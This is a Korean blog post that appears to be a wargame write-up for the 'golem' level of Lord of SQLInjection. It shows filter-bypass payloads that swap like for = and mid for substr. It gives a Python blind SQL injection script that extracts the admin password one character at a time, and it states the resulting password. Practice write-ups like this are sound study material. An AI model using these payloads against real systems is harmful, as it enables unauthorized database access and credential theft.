cgy12306
[LOS] golem 본문
소스코드를 보면 _ . ( ) 문자를 필터링하고, or and substr = 도 필터링을 한다.
=는 like로 우회가 가능하다. 또 substr은 mid, left, rignt 함수로 우회가 가능하다.
우선 패스워드의 길이를 먼저 알아내 보자.
https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c id like 'admin' %26%26 length%28pw%29 like '8
위 처럼 입력을 하게 되면 Hello admin을 볼 수 있다.
비밀번호는 8글자이다.
우리는 참이면 Hello admin이 뜨는 것을 알 수 있으니 blind sql injection을 사용할 수 있다.
import requests
arry=[]
cookies = {'__cfduid': '', 'PHPSESSID' : ''}
for k in range(1,9):
for j in range(32,127):
res = requests.get(url="https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' || id like 'admin' %26%26 ASCII(mid(pw,"+str(k)+",1)) like '"+str(j) ,cookies=cookies)
if 'Hello admin' in res.text:
print(k,' : ', j, "O")
arry.append(chr(j))
break
else:
print(k,' : ' , j, "X")
print(arry)
비밀번호는 88e3137f이다.
https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=88e3137f
입력하게 되면
https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c id %3d 'admin' %26%26 length%28pw%29 %3d '8
'Wargame > LOS' 카테고리의 다른 글
[LOS] bugbear (0) | 2019.08.23 |
---|---|
[LOS] darkknight (0) | 2019.08.23 |
[LOS] skeleton (0) | 2019.08.13 |
[LOS] vampire (0) | 2019.08.13 |
[LOS] troll (0) | 2019.08.13 |
Comments